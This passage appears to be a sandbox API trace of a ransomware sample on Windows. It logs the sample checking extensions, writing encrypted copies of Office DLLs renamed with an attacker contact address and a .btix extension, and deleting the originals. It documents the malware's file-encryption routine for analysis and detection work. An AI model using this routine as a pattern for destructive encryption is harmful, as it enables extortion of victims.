lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0159.629] lstrlenW (lpString=".1cd") returned 4 [0159.629] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0159.629] lstrlenW (lpString=".jpg") returned 4 [0159.629] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.629] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.629] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0159.720] GetLastError () returned 0x0 [0159.720] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x58c0, lpOverlapped=0x0) returned 1 [0159.920] WriteFile (in: hFile=0x354, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x58d0, lpOverlapped=0x0) returned 1 [0159.921] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.921] WriteFile (in: hFile=0x354, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x116, lpOverlapped=0x0) returned 1 [0159.922] SetEndOfFile (hFile=0x354) returned 1 [0159.922] CloseHandle (hObject=0x354) returned 1 [0159.922] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.922] SetEndOfFile (hFile=0x394) returned 1 [0159.924] CloseHandle (hObject=0x394) returned 1 [0159.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0159.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0159.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0159.924] lstrlenW (lpString=".doc") returned 4 [0159.924] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.924] lstrlenW (lpString=".docx") returned 5 [0159.924] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.924] lstrlenW (lpString=".pdf") returned 4 [0159.924] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.925] lstrlenW (lpString=".xls") returned 4 [0159.925] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.925] lstrlenW (lpString=".xlsx") returned 5 [0159.925] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.925] lstrlenW (lpString=".ppt") returned 4 [0159.925] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0159.925] lstrlenW (lpString=".zip") returned 4 [0159.925] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.925] lstrlenW (lpString=".rar") returned 4 [0159.925] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.925] lstrlenW (lpString=".bz2") returned 4 [0159.925] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.925] lstrlenW (lpString=".7z") returned 3 [0159.925] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0159.925] lstrlenW (lpString=".dbf") returned 4 [0159.925] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0159.925] lstrlenW (lpString=".1cd") returned 4 [0159.925] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0159.925] lstrlenW (lpString=".jpg") returned 4 [0159.925] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.926] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.926] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0159.927] GetLastError () returned 0x0 [0159.927] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x68c0, lpOverlapped=0x0) returned 1 [0159.954] WriteFile (in: hFile=0x354, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x68d0, lpOverlapped=0x0) returned 1 [0159.955] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.955] WriteFile (in: hFile=0x354, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x11a, lpOverlapped=0x0) returned 1 [0159.955] SetEndOfFile (hFile=0x354) returned 1 [0159.956] CloseHandle (hObject=0x354) returned 1 [0159.956] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.956] SetEndOfFile (hFile=0x394) returned 1 [0159.956] CloseHandle (hObject=0x394) returned 1 [0159.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0159.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0159.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0159.957] lstrlenW (lpString=".doc") returned 4 [0159.957] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.957] lstrlenW (lpString=".docx") returned 5 [0159.957] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.957] lstrlenW (lpString=".pdf") returned 4 [0159.957] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.957] lstrlenW (lpString=".xls") returned 4 [0159.957] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.958] lstrlenW (lpString=".xlsx") returned 5 [0159.958] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.958] lstrlenW (lpString=".ppt") returned 4 [0159.958] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0159.958] lstrlenW (lpString=".zip") returned 4 [0159.958] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.958] lstrlenW (lpString=".rar") returned 4 [0159.958] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.958] lstrlenW (lpString=".bz2") returned 4 [0159.958] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.958] lstrlenW (lpString=".7z") returned 3 [0159.958] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0159.958] lstrlenW (lpString=".dbf") returned 4 [0159.958] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0159.958] lstrlenW (lpString=".1cd") returned 4 [0159.958] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 84 [0159.958] lstrlenW (lpString=".jpg") returned 4 [0159.958] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.958] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.959] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0159.959] GetLastError () returned 0x0 [0159.959] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x60c0, lpOverlapped=0x0) returned 1 [0159.990] WriteFile (in: hFile=0x354, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x60d0, lpOverlapped=0x0) returned 1 [0159.991] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.991] WriteFile (in: hFile=0x354, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x112, lpOverlapped=0x0) returned 1 [0159.991] SetEndOfFile (hFile=0x354) returned 1 [0159.991] CloseHandle (hObject=0x354) returned 1 [0159.991] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.991] SetEndOfFile (hFile=0x394) returned 1 [0159.992] CloseHandle (hObject=0x394) returned 1 [0159.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0159.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80 [0159.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80 [0159.993] lstrlenW (lpString=".doc") returned 4 [0159.993] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.993] lstrlenW (lpString=".docx") returned 5 [0159.993] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.993] lstrlenW (lpString=".pdf") returned 4 [0159.993] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.993] lstrlenW (lpString=".xls") returned 4 [0159.993] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.993] lstrlenW (lpString=".xlsx") returned 5 [0159.993] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.993] lstrlenW (lpString=".ppt") returned 4 [0159.993] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80 [0159.993] lstrlenW (lpString=".zip") returned 4 [0159.993] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.993] lstrlenW (lpString=".rar") returned 4 [0159.994] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.994] lstrlenW (lpString=".bz2") returned 4 [0159.994] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.994] lstrlenW (lpString=".7z") returned 3 [0159.994] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80 [0159.994] lstrlenW (lpString=".dbf") returned 4 [0159.994] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80 [0159.994] lstrlenW (lpString=".1cd") returned 4 [0159.994] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-stdio-l1-1-0.dll") returned 80 [0159.994] lstrlenW (lpString=".jpg") returned 4 [0159.994] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.994] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.994] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0159.995] GetLastError () returned 0x0 [0159.995] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x3f6d8, lpOverlapped=0x0) returned 1 [0160.048] WriteFile (in: hFile=0x354, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x3f6e0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x3f6e0, lpOverlapped=0x0) returned 1 [0160.053] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.053] WriteFile (in: hFile=0x354, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x108, lpOverlapped=0x0) returned 1 [0160.053] SetEndOfFile (hFile=0x354) returned 1 [0160.231] CloseHandle (hObject=0x354) returned 1 [0160.271] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.271] SetEndOfFile (hFile=0x394) returned 1 [0160.273] CloseHandle (hObject=0x394) returned 1 [0160.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvfilesystemmetadata.dll")) returned 1 [0160.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll") returned 75 [0160.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll") returned 75 [0160.274] lstrlenW (lpString=".doc") returned 4 [0160.274] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.274] lstrlenW (lpString=".docx") returned 5 [0160.274] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0160.274] lstrlenW (lpString=".pdf") returned 4 [0160.274] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.274] lstrlenW (lpString=".xls") returned 4 [0160.274] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.274] lstrlenW (lpString=".xlsx") returned 5 [0160.274] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0160.274] lstrlenW (lpString=".ppt") returned 4 [0160.274] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll") returned 75 [0160.274] lstrlenW (lpString=".zip") returned 4 [0160.274] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.274] lstrlenW (lpString=".rar") returned 4 [0160.274] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.274] lstrlenW (lpString=".bz2") returned 4 [0160.274] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.274] lstrlenW (lpString=".7z") returned 3 [0160.274] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll") returned 75 [0160.274] lstrlenW (lpString=".dbf") returned 4 [0160.274] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll") returned 75 [0160.274] lstrlenW (lpString=".1cd") returned 4 [0160.274] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVFileSystemMetadata.dll") returned 75 [0160.274] lstrlenW (lpString=".jpg") returned 4 [0160.274] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.275] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.275] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0160.276] GetLastError () returned 0x0 [0160.276] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x8d2d8, lpOverlapped=0x0) returned 1 [0160.291] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x8d2e0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x8d2e0, lpOverlapped=0x0) returned 1 [0160.299] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.299] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0160.299] SetEndOfFile (hFile=0x300) returned 1 [0160.299] CloseHandle (hObject=0x300) returned 1 [0160.299] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.300] SetEndOfFile (hFile=0x394) returned 1 [0160.305] CloseHandle (hObject=0x394) returned 1 [0160.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 1 [0160.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0160.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0160.306] lstrlenW (lpString=".doc") returned 4 [0160.306] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.306] lstrlenW (lpString=".docx") returned 5 [0160.306] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0160.306] lstrlenW (lpString=".pdf") returned 4 [0160.306] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.306] lstrlenW (lpString=".xls") returned 4 [0160.306] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.306] lstrlenW (lpString=".xlsx") returned 5 [0160.306] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0160.306] lstrlenW (lpString=".ppt") returned 4 [0160.306] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0160.306] lstrlenW (lpString=".zip") returned 4 [0160.306] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.306] lstrlenW (lpString=".rar") returned 4 [0160.306] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.306] lstrlenW (lpString=".bz2") returned 4 [0160.306] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.306] lstrlenW (lpString=".7z") returned 3 [0160.306] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0160.306] lstrlenW (lpString=".dbf") returned 4 [0160.306] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0160.306] lstrlenW (lpString=".1cd") returned 4 [0160.306] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0160.306] lstrlenW (lpString=".jpg") returned 4 [0160.306] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.307] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.307] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0160.307] GetLastError () returned 0x0 [0160.307] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x2c3, lpOverlapped=0x0) returned 1 [0160.308] WriteFile (in: hFile=0x300, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x2d0, lpOverlapped=0x0) returned 1 [0160.309] ReadFile (in: hFile=0x394, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, 